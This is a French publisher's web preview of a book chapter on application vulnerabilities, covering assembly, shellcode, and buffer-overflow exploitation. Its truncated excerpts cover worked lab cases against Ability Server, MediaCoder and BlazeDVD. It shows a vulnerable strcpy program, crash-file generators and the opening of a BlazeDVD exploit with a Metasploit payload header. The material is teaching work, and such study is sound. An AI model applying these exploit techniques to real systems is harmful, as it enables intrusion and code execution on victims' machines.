Blog ENI : Toute la veille numérique !
Accès illimité 24h/24 à tous nos livres & vidéos ! 
Découvrez la Bibliothèque Numérique ENI. Cliquez ici
💥 Les 22 & 23 novembre : Accès 100% GRATUIT
à la Bibliothèque Numérique ENI. Je m'inscris !

Les failles applicatives

Généralités

Les attaques par buffer overflow sont parmi les plus répandues. Elles représentent environ 60 % des attaques connues. Il s’agit d’exploiter un bug dans la gestion des zones mémoire déclarées dans le programme, afin de lui faire exécuter une action qu’il n’était pas censé faire.

De manière générale, le pirate essaiera d’obtenir un accès distant à la machine victime en prenant le contrôle sur le shell (ligne de commande sous Linux). Suivant la méthode utilisée, on appelle cela un "bind de shell" ou un "reverse connection".

Cela sera essayé sur un fichier binaire ayant le SUID root (c’est-à-dire un programme qui se lance au démarrage avec les droits de l’administrateur sous Linux), afin d’élever ses privilèges jusqu’au statut de root.

Pour arriver à cela, il faut être très familier avec l’Assembleur, avoir des notions de programmation et bien connaître la structure et le fonctionnement d’un ordinateur et surtout du microprocesseur.

Notions d’Assembleur

1. Introduction

Il faut savoir quand écrire en Assembleur : il y a des moments où il n’y a pas d’autre possibilité que d’écrire en Assembleur et d’autres où cela n’est pas utile. Le système d’exploitation, mais aussi un bon nombre de produits standards, est programmé de telle sorte que l’Assembleur est simplement inévitable. Le reverse engineering et les failles applicatives sont des exemples où l’Assembleur est omniprésent.

2. Premiers pas

a. Apprenons à compter

Nous avons déjà tous rencontré dans nos lectures des nombres exprimés en hexadécimal ou en binaire. Le binaire est le langage des PC ; que nous écrivions des programmes en Assembleur, en C ou tout autre langage, le PC comprend le binaire, il parle en binaire. 

L’hexadécimal est fait pour permettre aux humains une meilleure compréhension du langage du PC.

b. Le binaire

Le binaire est composé de deux éléments : le 0 et le 1.

Une suite de huit éléments binaires est appelée un octet, une suite de seize éléments binaires est appelée un mot (2 octets) et une suite de trente-deux éléments binaires est appelée un double mot (4 octets).

Les microprocesseurs Intel sont composés de registres. Nous utiliserons ces registres pour commencer à travailler avec l’Assembleur.

EAX, EBX, ECX et EDX sont des registres 32 bits. Ils contiennent respectivement AX, BX, CX, DX (16 bits) dans leur partie basse qui eux-mêmes sont composés de AH, BH, CH, DH (8 bits) dans leur partie haute et de AL, BL, CL, DL (8 bits) dans leur partie basse. Voici un petit schéma qui illustre ceci :

images/08ep01.png

Les registres EAX, EBX, ECX et EDX ne sont disponibles qu’en mode protégé...

Bases des shellcodes

Un shellcode désigne un bout de code en langage machine. Il n’est ni plus ni moins qu’un programme très petit exécuté par votre processeur, il est donc capable de faire tout ce que peut faire n’importe quel programme.

1. Exemple 1 : shellcode.py

xor eax,eax  
xor ebx,ebx  
xor ecx,ecx  
xor edx,edx  
jmp short string  
code:  
pop   ecx; on place l'adresse mémoire de la phrase dans la pile  
mov bl,1  
mov dl,23  
mov al,4  
int 0x80; les quatre lignes précédentes forment le write()   
dec bl  
mov al,1  int 0x80; les trois lignes précédentes composent le exit()  
string :  
call code  
db 'bonjour tout le monde!' 

Pour pouvoir utiliser ce code pour une attaque de type buffer overflow, nous voulons le transformer en code hexadécimal.

Pour cela, nous utilisons un programme réalisé en Python, donné ci-dessous (shellcode.py), qui transforme directement le code en hexadécimal. Pour la compréhension de ce programme, reportez-vous au livre de Gérard Swinnen (http://www.inforef.be/swi/download/python_notes.pdf). 

Il faut que le programme en Assembleur soit dans le même répertoire que shellcode.py.

shellcode.py

#!/usr/bin/env python  
import os   
  
file=raw_input("entrez le nom de votre programme en Assembleur\n")  
file1=file.split('.')   
command="nasm "+file+" -o "+file1[0]+".o"   
os.system(command)   
command2="ndisasm -u "+file1[0]+".o >> shelltemp"   
os.system(command2)   
fd=open("shelltemp",'r')   
ligne="".join(fd.readline())...

Les buffer overflows

1. Quelques définitions

  • Exploit : tirer parti d’une vulnérabilité pour que le système cible réagisse d’une manière autre que celle prévue. L’exploit est aussi l’outil, la suite d’instructions ou le code qui est utilisé pour exploiter une vulnérabilité.

  • 0 day : c’est un exploit pour une vulnérabilité qui n’a pas encore été publiquement publiée, fait quelquefois référence à la vulnérabilité elle-même.

  • Fuzzer : c’est un outil ou une application qui va envoyer à un programme tout ou partie de valeurs inattendues afin de déterminer si un bug existe sur ce système.

Wikipédia donne cette définition pour les buffer overflows :

"En informatique, un dépassement de tampon ou débordement de tampon (en anglais, buffer overflow) est un bogue causé par un processus qui, lors de l’écriture dans un tampon, écrit à l’extérieur de l’espace alloué au tampon, écrasant ainsi des informations nécessaires au processus.

Lorsque le bogue se produit non intentionnellement, le comportement de l’ordinateur devient imprévisible. Il en résulte souvent un blocage du programme, voire de tout le système.

Le bogue peut aussi être provoqué intentionnellement et être exploité pour violer la politique de sécurité d’un système. Cette technique est couramment utilisée par les pirates informatiques. La stratégie du pirate est alors de détourner le programme bogué en lui faisant exécuter des instructions qu’il a introduites dans le processus."

Pour bien comprendre ces définitions, il est essentiel d’avoir...

Les failles Windows

1. Introduction

Les concepts vus sous Linux dans les chapitres précédents sont toujours valables sous Windows en transposant bien sûr suivant le système d’exploitation.

Le fonctionnement de la pile et du heap est bien sûr similaire.

Comme sous Linux, nous aurons besoin d’un débogueur. Nous utiliserons ici Immunity Debugger (https://www.immunityinc.com/products/debugger) pour tenter d’exploiter les failles. Ce débogueur est gratuit, il comprend :

  • une interface simple et compréhensible ;

  • un langage de script robuste et puissant permettant d’automatiser le débogage ;

  • la possibilité de connexion avec d’autres outils de développement d’exploits.

Vous trouverez sur le Net beaucoup de tutoriels pour apprendre à l’utiliser ainsi que diverses explications de Crack-me (petits logiciels créés pour apprendre le Reverse Engineering) utilisant Immunity Debugger.

Nous utiliserons Dev-C++ pour écrire et compiler nos programmes : http://www.01net.com/telecharger/windows/Programmation/langage/fiches/2327.html

2. Premiers pas

Nous utiliserons pour commencer le programme suivant afin de comprendre les bases. Nous poursuivrons sur des programmes commerciaux réels pour les mettre en application.

#include "string.h"  
void function(char* buf)  
       {  
        char ownz[10];  
        strcpy(ownz, buf);  
       }  
int main(int argc,char* argv[ ])  
      {  
       function(argv[1]);  
       return 0;  
      } 

a. En mode console

Nous allons dans un premier temps lancer notre programme en ligne de commande...

Cas concret : Ability Server

Pour travailler sur les attaques de type buffer overflow, le mieux est d’avoir deux machines virtuelles (par exemple VirtualBox) qui vont nous permettre de recréer la machine victime en local avant de réaliser l’attaque en réel.

La première machine sera sous Debian et la seconde, la victime, sous Windows.

La prise d’informations sur la victime sera bien sûr faite au préalable afin de recréer une machine parfaitement identique. Il faut connaître l’OS utilisé, la version exacte du logiciel installé qui est susceptible d’être faillible et savoir si un Service Pack a été installé.

Pour l’exemple, la victime sera une machine avec un Windows XP Service Pack 2 avec Ability Server 2.34. Vous pouvez trouver ce serveur FTP en faisant une recherche sur Google.

1. Fuzzing

La première chose à faire est de tester le logiciel afin de découvrir s’il est susceptible d’être faillible. Il existe pour cela des logiciels presque "clés en main" tels que Fusil ou Spike. Mais le but ici est de comprendre le fonctionnement d’un fuzzer, nous allons donc le fabriquer.

Nous pouvons utiliser n’importe quel langage, il faut savoir programmer des sockets (connexions à distance TCP/IP ou UDP) et connaître le protocole que l’on va attaquer (FTP pour notre exemple). Le meilleur moyen pour connaître un protocole est de se procurer sa RFC ; une simple recherche Google nous aidera.

D’après Wikipédia : "Le fuzzing est une technique pour tester des logiciels. L’idée est d’injecter des données aléatoires dans les entrées d’un programme. Si le programme échoue (par exemple en crashant ou en générant une erreur), alors il y a des défauts à...

Cas concret : MediaCoder-0.7.5.4796

Le logiciel utilisé ici est MediaCoder-0.7.5.4796, que vous pouvez récupérer à l’adresse suivante : http://www.digital-digest.com/software/mediacoder_history.html

Nous pouvons bien sûr nous entraîner sur ce logiciel car la faille exploitée a été publiée : http://www.exploit-db.com/exploits/15663/

1. Crash du logiciel

Nous allons tenter de faire planter le logiciel MediaCoder. Pour cela, nous allons créer un petit programme en Python qui va créer le fichier crash.m3u. Nous ouvrirons ce dernier avec MediaCoder, qui sera lui-même attaché à Immunity Debugger.

obFichier = open('crash.m3u','w')  
obFichier.write("A"*2000)  
obFichier.close() 

Les 2000 "A" sont mis au hasard ; ce que nous voulons, c’est savoir exactement quand sont écrasés le SEH et le next SEH.

images/09EP25N.png

Nous pouvons aller voir ce qui se passe du côté du SEH : View - SEH chain.

images/09EP26N.png

Nous remarquons que l’on a bien écrasé le SEH avec 41414141.

Continuons notre exploration en remplaçant les A par 2000 caractères qui, pris quatre à quatre, ne sont jamais identiques. Pour cela, nous utilisons genbuf.py, dont le code est donné ci-dessous :

#!/usr/bin/env python   
import sys   
import string   
  
def usage():   
   print "Usage: ", sys.argv[0], " <number> [string]"   
   print "   <number> est la taille du buffer a generer."   
   print "   [string] est la chaine de caracteres a retrouver  
(optionnel)."   
   print ""   
   print "   si [string] est utilise, le buffer ne sera pas  ...

Cas concret : BlazeDVD 5.1 Professional

Nous allons étudier ici une vulnérabilité découverte en 2009 et disponible à l’adresse : https://packetstormsecurity.org/files/82927/BlazeDVD-5.1-PLF-Buffer-Overflow.html

Cet exploit pourra être effectif en utilisant un fichier PLF que nous ouvrirons avec l’application.

Commençons par déterminer combien d’arguments nous devons envoyer (écrire dans le fichier PLF) afin d’écraser la structure SE.

Nous travaillerons sur un système Windows Vista.

obFichier = open('blazesploit.plf','w')  
obFichier.write("A"*608+"BBBBCCCC")  
obFichier.close() 
images/10EP308.png

Nous voyons ici que nous avons deux solutions : soit un accès direct à EIP car on retrouve 41414141 dans EIP, soit en passant par le SEH puisque nous avons 43434343 dans le SE handler et 42424242 dans le next SEH.

Nous avons aussi ESP qui pointe sur notre buffer.

Regardons maintenant dans la table ASLR (!ASLRdynamicbase qui se trouve dans les plugins).

images/10EP309.png

Beaucoup de modules semblent ne pas utiliser l’ASLR ("randomization" des adresses), nous pourrions par exemple utiliser skinscrollbar.dll.

Nous écrasons EIP après 260 arguments. Nous pourrions donc utiliser un jmp esp, un call esp ou push esp/ret.

En recherchant dans les DLL, nous trouvons :

  • blazedvd.exe : 79 adresses (mais des null bytes !) ;

  • skinscrollbar.dll : 0 adresse ;

  • configuration.dll : 2 adresses, pas de null bytes ;

  • epg.dll : 20 adresses, pas de null bytes ;

  • mediaplayerctrl.dll : 15 adresses, 8 avec des null bytes ;

  • netreg.dll : 3 adresses, pas de null bytes ;

  • versioninfo.dll : 0 adresse.

# windows/exec - 302 bytes  
# http://www.metasploit.com  
# Encoder: x86/alpha_upper  
# EXITFUNC=seh, CMD=calc  
buffer="A" * 260  ...

Conclusion

Ce chapitre vous a donné un aperçu des failles Linux et Windows courantes ainsi que des techniques utilisées.

Nous verrons dans la partie juridique ce que nous pouvons faire légalement et nos obligations lors de la découverte des failles.

La veille technologique est très importante et indispensable, surtout en matière de failles applicatives. L’abonnement aux flux RSS, la visite régulière des sites spécialisés, la réception quotidienne des failles découvertes et l’étude journalière de ces failles, et surtout une pratique intensive sont la clé de voûte pour réussir et se faire un nom dans ce milieu très fermé.

La persévérance sera votre meilleur atout.

Références

Assembleur : http://www.e-booksdirectory.com/details.php?ebook=1881

Python : http://www.inforef.be/swi/download/python_notes.pdf

Buffer overflow attacks : Detect, exploit, prevent de Jason Deckard - Édition syngress

David Litchfield’s guide to Buffer Overflow Attacks - Édition syngress

Debugging With GDB The Gnu Source-Level Debugger - Édition GNU Press

Hacking : The Art of Exploitation - Édition No Starch Press US

Blog de IvanLeFou : http://www.ivanlef0u.tuxfamily.org/

Site de corelan : http://www.corelan.be